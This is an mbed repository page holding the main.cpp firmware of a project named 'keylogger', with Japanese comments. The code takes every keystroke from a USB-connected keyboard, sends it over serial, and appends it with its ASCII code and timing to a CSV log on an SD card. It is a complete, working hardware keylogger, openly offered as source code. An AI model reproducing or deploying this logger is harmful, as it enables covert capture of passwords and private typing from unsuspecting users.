keylogger
Dependencies: SDFileSystem USBHost mbed
main.cpp
- Committer:
- USER10
- Date:
- 2017-12-13
- Revision:
- 0:15bb427106c2
File content as of revision 0:15bb427106c2:
#include "mbed.h" #include "USBHostKeyboard.h" #include "SDFileSystem.h" //キーボード取得データをTX1、RX1からシリアル通信で送信させる //SDカードに入力したデータを保存 //保存形式はcsv //保存場所はディレクトリ「keylog」内の「log」ファイル DigitalOut led(LED1); DigitalOut led2(LED2); DigitalOut led3(LED3); int i=0; Timer t; //タイマー宣言(繰り返しタイマー割り込み) SDFileSystem sd(p5, p6, p7, p8, "sd"); //SDファイル用通信ポートの指定 //Serial pc1(p13, p14); //シリアル通信ポートの指定(tx1, rx1の順) Serial pc(USBTX, USBRX); void onKey(uint8_t key) { //pc1.printf("%c", key); //1文字PCへ送信(TX1、RX1のシリアル通信) pc.printf("%c", key); i++; t.stop(); //キーを押すごとにタイマーストップ //リセットしていないのでラップタイム計測状態となる FILE *fp; fp = fopen("/sd/keylog/log.csv", "a"); //「log.csv」ファイルを書き込み形式で開く fprintf(fp, "Key[%d], :,0x%x,:,%c,:,%0.2f\r\n", i, key, key, t.read()); //左から 入力順番:アスキーコード:入力した文字:経過時間 となる fclose(fp); t.start(); //タイマースタート(一周後からはリスタート) } void keyboard_task(void const *) { USBHostKeyboard keyboard; while(1) { while(!keyboard.connect()) Thread::wait(500); keyboard.attach(onKey); while(keyboard.connected()) //キーボードが切れるまで待つ Thread::wait(500); } } int main(){ mkdir("/sd/keylog", 0777); //「keylog」ディレクトリ作成 FILE *fp; fp = fopen("/sd/keylog/log.csv","w"); //「log.csv」ファイルを読込形式で開く fclose(fp); Thread keyboardTask(keyboard_task, NULL, osPriorityNormal, 256 * 4); while(1) { led=!led; Thread::wait(500); } } //led2 = 1; //キーを押すごとにled2を点灯 //t.reset(); //キーボードを切断してタイマーリセット